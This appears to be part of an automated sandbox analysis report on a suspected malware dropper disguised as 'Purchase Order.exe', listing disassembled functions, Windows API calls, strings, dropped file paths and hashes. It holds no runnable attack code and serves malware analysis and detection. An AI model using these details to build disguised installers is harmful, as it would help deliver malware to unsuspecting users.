Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction ID: 9db82b8fa8063fa17328456ed946e1162a1eeecbf7bffbc6415ee5c88b4ce2a6
Opcode Fuzzy Hash: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction Fuzzy Hash: 6FD0133555D02057C30027746C0C44779545F653307124B77F456F52F0D3345C7245DD

Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e9e1605c35cf92ad64c5223491071bd3b38123b796805ea0b055523b80a06de9
Instruction ID: 73f39e672a50c1adebb7c94b7850a11d736dff73d217dd7b8340578855458d28
Opcode Fuzzy Hash: e9e1605c35cf92ad64c5223491071bd3b38123b796805ea0b055523b80a06de9
Instruction Fuzzy Hash: 2CF02772604004AAC700EB6499089EEB778DB15324F60007BF180B20C0C7B84A429B2A

Function 00403C09 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C45
ShowWindow.USER32(?), ref: 00403C62
DestroyWindow.USER32 ref: 00403C76
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C92
GetDlgItem.USER32(?,?), ref: 00403CB3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC7
IsWindowEnabled.USER32(00000000), ref: 00403CCE
GetDlgItem.USER32(?,00000001), ref: 00403D7C
GetDlgItem.USER32(?,00000002), ref: 00403D86
SetClassLongA.USER32(?,000000F2,?), ref: 00403DA0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403DF1
GetDlgItem.USER32(?,00000003), ref: 00403E97
ShowWindow.USER32(00000000,?), ref: 00403EB8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403ECA
EnableWindow.USER32(?,?), ref: 00403EE5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFB
EnableMenuItem.USER32(00000000), ref: 00403F02
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403F1A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403F2D
lstrlenA.KERNEL32(Nonbeneficial Setup: Installing,?,Nonbeneficial Setup: Installing,00422F20), ref: 00403F56
SetWindowTextA.USER32(?,Nonbeneficial Setup: Installing), ref: 00403F65
ShowWindow.USER32(?,0000000A), ref: 00404099

Strings

Nonbeneficial Setup: Installing, xrefs: 00403F42, 00403F4C, 00403F55, 00403F63

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Nonbeneficial Setup: Installing
API String ID: 3282139019-485038270
Opcode ID: bcb4864de90c51be376c5c7d5e0fb192880a71d4046b15d718494db90bb2b626
Instruction ID: 2eb83949b6bd8974722fa043abbaf2d62199bae10e2b8edc7fb886fd11b27e7e
Opcode Fuzzy Hash: bcb4864de90c51be376c5c7d5e0fb192880a71d4046b15d718494db90bb2b626
Instruction Fuzzy Hash: 3EC1F2B1604201BBDB20AF61EE84E2B3ABCFB84305F51053EF611B11E1C7799842EB5E

Function 00403877 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

lstrcatA.KERNEL32(1033,Nonbeneficial Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Nonbeneficial Setup: Installing,00000000,00000002,75923410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Purchase Order.exe",00000000), ref: 004038F2
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously,1033,Nonbeneficial Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Nonbeneficial Setup: Installing,00000000,00000002,75923410), ref: 00403967
lstrcmpiA.KERNEL32(?,.exe), ref: 0040397A
GetFileAttributesA.KERNEL32(Call), ref: 00403985
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously), ref: 004039CE

Part of subcall function 00405E55: wsprintfA.USER32 ref: 00405E62

RegisterClassA.USER32(00422EC0), ref: 00403A0B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A23
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A58
ShowWindow.USER32(00000005,00000000), ref: 00403A8E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 00403ABA
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 00403AC7
RegisterClassA.USER32(00422EC0), ref: 00403AD0
DialogBoxParamA.USER32(?,00000000,00403C09,00000000), ref: 00403AEF

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038AB
"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 0040387B
Call, xrefs: 00403935, 0040393D, 0040394A, 00403994, 0040399A
RichEdit20A, xrefs: 00403AB2, 00403AB8
Nonbeneficial Setup: Installing, xrefs: 004038A3, 004038A9, 004038CE, 004038D7, 004038EC
RichEd32, xrefs: 00403AA2
.DEFAULT\Control Panel\International, xrefs: 004038DD
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 00403901, 00403909, 004039A1, 004039A7, 004039B7
RichEdit, xrefs: 00403AC1
_Nb, xrefs: 004039EA, 00403A52
C:\Users\user\AppData\Local\Temp\, xrefs: 0040387C
.exe, xrefs: 00403974
1033, xrefs: 00403897, 004038ED
RichEd20, xrefs: 00403A94

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$Nonbeneficial Setup: Installing$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-2204820880
Opcode ID: b5acaa8937ced472a66d3687a921226f39372a12dbbf564bd8eff0e0bc24d963
Instruction ID: 29345e8072be8e75dc90901d6125d60d13300850aec60374d900494af90ecb47
Opcode Fuzzy Hash: b5acaa8937ced472a66d3687a921226f39372a12dbbf564bd8eff0e0bc24d963
Instruction Fuzzy Hash: 8161A4B06442407ED620AF65AD45F373A6CEB8474AF40447FF945B22E2C6BCAD029A3D

Function 00402D4A Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D5E
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Purchase Order.exe,00000400), ref: 00402D7A

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Purchase Order.exe,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 00402DC3
GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402F0A

Strings

Error launching installer, xrefs: 00402D9A
C:\Users\user\Desktop\Purchase Order.exe, xrefs: 00402D64, 00402D73, 00402D87, 00402DA4
C:\Users\user\Desktop, xrefs: 00402DA5, 00402DAA, 00402DB0
"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 00402D4A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402F53
Null, xrefs: 00402E43
soft, xrefs: 00402E3A
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D54, 00402F22
Inst, xrefs: 00402E31
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402FA1

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Purchase Order.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-1925302521
Opcode ID: e5ab56cf196d26c18991739aeee88d59d7819f5e2225516add2df55f48501880
Instruction ID: 1e54d23c6bd4663b885b54a46d63d50a2b02afe17d1d0705d7bda66adc4b1b0c
Opcode Fuzzy Hash: e5ab56cf196d26c18991739aeee88d59d7819f5e2225516add2df55f48501880
Instruction Fuzzy Hash: 6661E5B1A40215ABDF20AF64DE89A9E76B8EB04355F11413FF904B72C1C7BC9D418B9C

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp, xrefs: 004017A3, 00401812, 00401830
C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll, xrefs: 00401826, 00401842
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing, xrefs: 00401786
Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing$C:\Users\user\AppData\Local\Temp\nsj39BE.tmp$C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll$Call
API String ID: 1941528284-1572893336
Opcode ID: f1777878cc107186975007c34ec6e0b6c00b7ce99c1c8040aed14bca133d0caf
Instruction ID: 1ba5c428860e61568eef0a4ccac71dac967fbf7ecb8295bcfefdc03a30224d69
Opcode Fuzzy Hash: f1777878cc107186975007c34ec6e0b6c00b7ce99c1c8040aed14bca133d0caf
Instruction Fuzzy Hash: 2341F471A04515BACF107BB5DC45EAF3678EF41328B20823BF021B11E2DA3C8A419FAD

Function 00405110 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll), ref: 0040517E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll, xrefs: 00405130, 00405142, 00405148, 0040516B, 00405177

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll
API String ID: 2531174081-3958864140
Opcode ID: 1646e66f1100ef219ca1350417871fd30607a5d42d26b8f3d60eba681ba6f46d
Instruction ID: 38fa31381a166635c2069e030e34d3db0945d62c2eda65f80c6bd2e149c96a35
Opcode Fuzzy Hash: 1646e66f1100ef219ca1350417871fd30607a5d42d26b8f3d60eba681ba6f46d
Instruction Fuzzy Hash: FD215C71E00518BBDF119FA5CD80ADFBFB9EB04354F14807AF904AA291C7799A41CFA8

Function 004055D6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619
GetLastError.KERNEL32 ref: 0040562D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405642
GetLastError.KERNEL32 ref: 0040564C

Strings

C:\Users\user\Desktop, xrefs: 004055D6
ts@, xrefs: 004055DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004055FC
ds@, xrefs: 0040560B

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-891493705
Opcode ID: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction ID: f6395dc840433d181f75b3fc8fae80690a43e09e82cbb082af9cf45b84ce1534
Opcode Fuzzy Hash: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction Fuzzy Hash: 82010871D04259EAEF119FA0DC44BEFBFB8EB14314F008576D908B6280D779A604CFAA

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
wsprintfA.USER32 ref: 00406272
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Strings

\, xrefs: 0040624A
UXTHEME, xrefs: 0040622B
%s%s.dll, xrefs: 0040626C

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction ID: 4eb1d724573375327ef03b870ab6fb06d37159ba94d5fa14c1e1425601a81350
Opcode Fuzzy Hash: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction Fuzzy Hash: A2F0FC3090011AA7DB24B768DC0DFEB365CAB08305F1401BAA546E11D1D578F9258B69

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj39BE.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsj39BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj39BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Strings

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp, xrefs: 00402422, 00402430, 00402444, 00402458, 00402463

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp
API String ID: 1356686001-540378780
Opcode ID: 532cf4714589016526744554cc58b87e9890b833549d6e086e2f56b221f18e11
Instruction ID: 45e6817f5ac0ad5077c8573445b5e51b6f54d3a00a8772886ac111494e5e57ea
Opcode Fuzzy Hash: 532cf4714589016526744554cc58b87e9890b833549d6e086e2f56b221f18e11
Instruction Fuzzy Hash: B52181B1E00109BEEB10EFA4DE49EAF7BB8EB54358F20403AF505B61D1D6B95D019B28

Function 00405B99 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BAD
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405BC7

Strings

"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 00405B99
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B9C
nsa, xrefs: 00405BA4

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

